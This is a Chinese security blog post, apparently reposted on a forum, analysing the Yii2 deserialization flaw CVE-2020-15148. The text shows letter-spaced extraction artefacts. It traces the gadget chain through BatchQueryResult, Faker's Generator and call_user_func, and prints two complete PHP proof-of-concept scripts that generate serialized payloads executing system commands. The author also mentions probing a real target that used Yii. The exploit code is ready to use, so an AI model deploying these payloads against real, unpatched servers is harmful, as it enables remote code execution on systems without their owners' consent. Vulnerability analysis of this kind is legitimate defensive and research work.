搜索

[1122] 2020-09-21_Yii2反序列化（CVE-2020-15148）分析

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-16
2020-09-21_Yii2反序列化（CVE-2020-15148）分析 Y i i 2   反 序 列 化 （ C V E - 2 0 2 0 - 1 5 1 4 8 ） 分 析 原 创   撕 夜   C h a B u g   2 0 2 0 - 0 9 - 2 1 安 装 最 简 单 的 安 装 方 式   h t t p s : / / b l o g . c s d n . n e t / f r i e n d a n / a r t i c l e / d e t a i l s / 5 1 9 6 0 5 7 4 漏 洞 入 口 点   7 9 - 9 8 行 。         p u b l i c   f u n c t i o n   _ _ d e s t r u c t ( )         {                 / /   m a k e   s u r e   c u r s o r   i s   c l o s e d                 $ t h i s - > r e s e t ( ) ;         }         / * *           *   R e s e t s   t h e   b a t c h   q u e r y .           *   T h i s   m e t h o d   w i l l   c l e a n   u p   t h e   e x i s t i n g   b a t c h   q u e r y   s o   t h a t   a   n e w   b a t c h   q u e r y   c a n   b e   p e r f o r m e d .           * /         p u b l i c   f u n c t i o n   r e s e t ( )         {                 i f   ( $ t h i s - > _ d a t a R e a d e r   ! = =   n u l l )   {                         $ t h i s - > _ d a t a R e a d e r - > c l o s e ( ) ;                 }                 $ t h i s - > _ d a t a R e a d e r   =   n u l l ;                 $ t h i s - > _ b a t c h   =   n u l l ; d b / B a t c h Q u e r y R e s u l t . p h p
                $ t h i s - > _ v a l u e   =   n u l l ;                 $ t h i s - > _ k e y   =   n u l l ;         } 变 量 可 控 ， 因 此 可 以 触 发 魔 术 方 法 ， 寻 找 可 利 用 的 点 。         / * *           *   @ p a r a m   s t r i n g   $ f o r m a t t e r           *           *   @ r e t u r n   C a l l a b l e           * /         p u b l i c   f u n c t i o n   g e t F o r m a t t e r ( $ f o r m a t t e r )         {                 i f   ( i s s e t ( $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ] ) )   {                         r e t u r n   $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ] ;                 }                 f o r e a c h   ( $ t h i s - > p r o v i d e r s   a s   $ p r o v i d e r )   {                         i f   ( m e t h o d _ e x i s t s ( $ p r o v i d e r ,   $ f o r m a t t e r ) )   {                                 $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ]   =   a r r a y ( $ p r o v i d e r ,   $ f o r m a t t e r ) ;                                 r e t u r n   $ t h i s - > f o r m a t t e r s [ $ f o r m a t t e r ] ;                         }                 }                 t h r o w   n e w   I n v a l i d A r g u m e n t E x c e p t i o n ( s p r i n t f ( ' U n k n o w n   f o r m a t t e r   " % s " ' ,   $ f o r m a t t e r ) ) ;         } $ t h i s - > _ d a t a R e a d e r _ _ c a l l $ t h i s - > f o r m a t t e r s
变 量 可 控 ， 因 此 返 回 值 可 控 。 至 此 可 以 调 用 框 架 中 的 任 意 函 数 ， 只 需 寻 找 变 量 可 控 的 r c e 点 即 可 。 P O C - 1 简 单 说 一 说 整 条 链 的 思 路 ， - > - > - > - >   完 。 其 实 p o c 1 的 思 路 就 是 利 用 了 魔 术 方 法 ， 调 用 对 象 中 不 存 在 的 方 法 ， 触 发 此 魔 术 方 法 。 < ? p h p $ t h i s - > f o r m a t t e r s _ _ d e s t r u c t r e s e t ( ) _ _ c a l l c a l l _ u s e r _ f u n c _ a r r a y ( ) c a l l _ u s e r _ f u n c _ _ c a l l
n a m e s p a c e   y i i r e s t {         c l a s s   C r e a t e A c t i o n {                 p u b l i c   $ c h e c k A c c e s s ;                 p u b l i c   $ i d ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > c h e c k A c c e s s   =   ' s y s t e m ' ;                         $ t h i s - > i d   =   ' w h o a m i ' ;                 }         } } n a m e s p a c e   F a k e r {         u s e   y i i r e s t C r e a t e A c t i o n ;         c l a s s   G e n e r a t o r {                 p r o t e c t e d   $ f o r m a t t e r s ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ a   =   n e w   C r e a t e A c t i o n ( ) ;                         $ t h i s - > f o r m a t t e r s [ ' c l o s e ' ] = [ $ a , ' r u n ' ] ;                 }         } } n a m e s p a c e   y i i d b {         u s e   F a k e r G e n e r a t o r ;         c l a s s   B a t c h Q u e r y R e s u l t {                 p r i v a t e   $ _ d a t a R e a d e r ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > _ d a t a R e a d e r   =   n e w   G e n e r a t o r ;                 }         } } n a m e s p a c e   {         $ n   =   n e w   y i i d b B a t c h Q u e r y R e s u l t ;         e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ n ) ) ; }
参 考 参 考 《 我 是 如 何 挖 掘 y i i 2 的 反 序 列 化 0 d a y 的 》 h t t p s : / / j u e j i n . i m / p o s t / 6 8 7 4 1 4 9 0 1 0 8 3 2 0 9 7 2 9 4 另 外 ， 参 考 中 的 师 傅 又 挖 了 三 条 新 的 链 ， 入 口 点 不 同 ， 内 容 不 复 杂 ， 最 后 都 回 到 了 的 利 用 上 ， 自 行 看 一 下 就 好 。 P O C - 2 首 先 了 解 一 下 函 数 中 的 $ c a l l b a c k 参 数 支 持 已 实 例 化 的 对 象 作 为 数 组 传 递 （ 下 图 官 方 文 档 ） 。 c a l l _ u s e r _ f u n c   (   c a l l a b l e   $ c a l l b a c k   [ ,   m i x e d   $ p a r a m e t e r   [ ,   m i x e d   $ . . .   ] ]   )   :   m i x e d _ _ c a l l c a l l _ u s e r _ f u n c
p o c 2 的 思 路 与 1 的 不 同 点 在 于 ， 利 用 了 存 在 c l o s e 方 法 的 类 ， 且 在 此 类 中 的 c l o s e 方 法 调 用 了 存 在 危 险 函 数 的 方 法 ， 看 下 面 代 码 更 直 观 一 些 。 / /   文 件 D b S e s s i o n . p h p / /   行 1 4 6 - 1 5 3         p u b l i c   f u n c t i o n   c l o s e ( )         {                 i f   ( $ t h i s - > g e t I s A c t i v e ( ) )   {                         / /   p r e p a r e   w r i t e C a l l b a c k   f i e l d s   b e f o r e   s e s s i o n   c l o s e s                         $ t h i s - > f i e l d s   =   $ t h i s - > c o m p o s e F i e l d s ( ) ;                         Y I I _ D E B U G   ?   s e s s i o n _ w r i t e _ c l o s e ( )   :   @ s e s s i o n _ w r i t e _ c l o s e ( ) ;                 }         } D b s e s s i o n 类 继 承 自 M u l t i F i e l d S e s s i o n 类 ， 在 上 述 方 法 中 调 用 了 父 类 中 的 方 法 。 下 面 是 父 类 文 中 的 对 应 方 法 代 码 块 截 取 。 / /   文 件   M u l t i F i e l d S e s s i o n . p h p / /   行 9 6 - 1 0 6 p r o t e c t e d   f u n c t i o n   c o m p o s e F i e l d s ( $ i d   =   n u l l ,   $ d a t a   =   n u l l )         { c l o s e ( ) $ t h i s - > c o m p o s e F i e l d s ( )
                $ f i e l d s   =   $ t h i s - > w r i t e C a l l b a c k   ?   c a l l _ u s e r _ f u n c ( $ t h i s - > w r i t e C a l l b a c k ,   $ t h i s )   :   [ ] ;                 i f   ( $ i d   ! = =   n u l l )   {                         $ f i e l d s [ ' i d ' ]   =   $ i d ;                 }                 i f   ( $ d a t a   ! = =   n u l l )   {                         $ f i e l d s [ ' d a t a ' ]   =   $ d a t a ;                 }                 r e t u r n   $ f i e l d s ;         } 很 直 观 ， 配 合 上 面 对 c a l l b a c k 参 数 简 单 的 理 解 就 可 以 明 白 此 处 的 利 用 思 路 。 I n d e x A c t i o n . p h p 文 件 r u n 方 法 如 下 图 ， 两 个 参 数 完 全 可 控 。 完 成 的 p o c 代 码 < ? p h p n a m e s p a c e   y i i r e s t   {         c l a s s   A c t i o n         {                 p u b l i c   $ c h e c k A c c e s s ;         }         c l a s s   I n d e x A c t i o n         {                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f u n c ,   $ p a r a m )                 {                         $ t h i s - > c h e c k A c c e s s   =   $ f u n c ;                         $ t h i s - > i d   =   $ p a r a m ;
                }         } } n a m e s p a c e   y i i w e b   {         a b s t r a c t   c l a s s   M u l t i F i e l d S e s s i o n         {                 p u b l i c   $ w r i t e C a l l b a c k ;         }         c l a s s   D b S e s s i o n   e x t e n d s   M u l t i F i e l d S e s s i o n         {                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f u n c ,   $ p a r a m )                 {                         $ t h i s - > w r i t e C a l l b a c k   =   [ n e w   y i i r e s t I n d e x A c t i o n ( $ f u n c ,   $ p a r a m ) ,   " r u n " ] ;                 }         } } n a m e s p a c e   y i i d b   {         u s e   y i i b a s e B a s e O b j e c t ;         c l a s s   B a t c h Q u e r y R e s u l t         {                 p r i v a t e   $ _ d a t a R e a d e r ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f u n c ,   $ p a r a m )                 {                         $ t h i s - > _ d a t a R e a d e r   =   n e w   y i i w e b D b S e s s i o n ( $ f u n c ,   $ p a r a m ) ;                 }         } } n a m e s p a c e   {         $ e x p   =   n e w   y i i d b B a t c h Q u e r y R e s u l t ( ' s y s t e m ' ,   ' w h o a m i ' ) ;         e c h o ( b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ e x p ) ) ) ; } 参 考 宽 字 节 师 傅 的 e x p ， 精 简 了 一 下 。 《 C V E - 2 0 2 0 - 1 5 1 4 8   Y i i 框 架 反 序 列 化 R C E 利 用 链   e x p 》
h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 3 6 9 3 9 6 9 . h t m l 最 后 恰 巧 前 几 天 遇 到 个 目 标 用 了 y i i ， 借 着 C V E - 2 0 2 0 - 1 5 1 4 8 机 会 简 单 分 析 一 下 ， 审 了 个 任 意 文 件 上 传 结 果 传 到 了 o s s 上 。 。 。 分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理